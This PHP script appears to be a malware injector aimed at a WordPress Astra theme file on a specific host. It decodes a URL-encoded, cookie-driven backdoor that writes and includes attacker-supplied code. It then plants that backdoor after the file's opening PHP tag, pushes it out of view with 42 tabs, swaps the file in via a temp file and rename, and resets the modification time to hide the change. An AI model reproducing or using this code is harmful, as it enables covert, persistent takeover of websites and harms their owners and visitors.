<?php  function pb_leading_namespace_or_declare($content) {     $p = 0;     $len = strlen($content);     if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {         $p = 3;     }     while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {         $p++;     }     if (strncmp($content, '<?php', 5) === 0) {         $p += 5;     } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?'         && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) {         $p += 2;     } else {         return false;     }     while ($p < $len) {         while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {             $p++;         }         if ($p >= $len) {             break;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p < $len && $content[$p] === '#') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') {             $end = strpos($content, '*/', $p + 2);             $p = ($end === false) ? $len : $end + 2;             continue;         }         return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p));     }     return false; }  $path = '/home1/msarats2/public_htmlwp-content/themes/astra/inc/abilities/customizer/globals/typography/class-astra-toggle-underline-links.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_COOKIE%5B3%5D%29%26%26isset%28%24_COOKIE%5B36%5D%29%29%7B%24c%3D%24_COOKIE%3B%24k%3D0%3B%24n%3D8%3B%24p%3Darray%28%29%3B%24p%5B%24k%5D%3D%27%27%3Bwhile%28%24n%29%7B%24p%5B%24k%5D.%3D%24c%5B36%5D%5B%24n%5D%3Bif%28%21%24c%5B36%5D%5B%24n%2B1%5D%29%7Bif%28%21%24c%5B36%5D%5B%24n%2B2%5D%29break%3B%24k%2B%2B%3B%24p%5B%24k%5D%3D%27%27%3B%24n%2B%2B%3B%7D%24n%3D%24n%2B8%2B1%3B%7D%24k%3D%24p%5B9%5D%28%29.%24p%5B26%5D%3Bif%28%21%24p%5B15%5D%28%24k%29%29%7B%24n%3D%24p%5B29%5D%28%24k%2C%24p%5B11%5D%29%3B%24p%5B1%5D%28%24n%2C%24p%5B13%5D.%24p%5B28%5D%28%24p%5B5%5D%28%24c%5B3%5D%29%29%29%3B%7Dinclude%28%24k%29%3B%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (pb_leading_namespace_or_declare($content)) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {          @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!');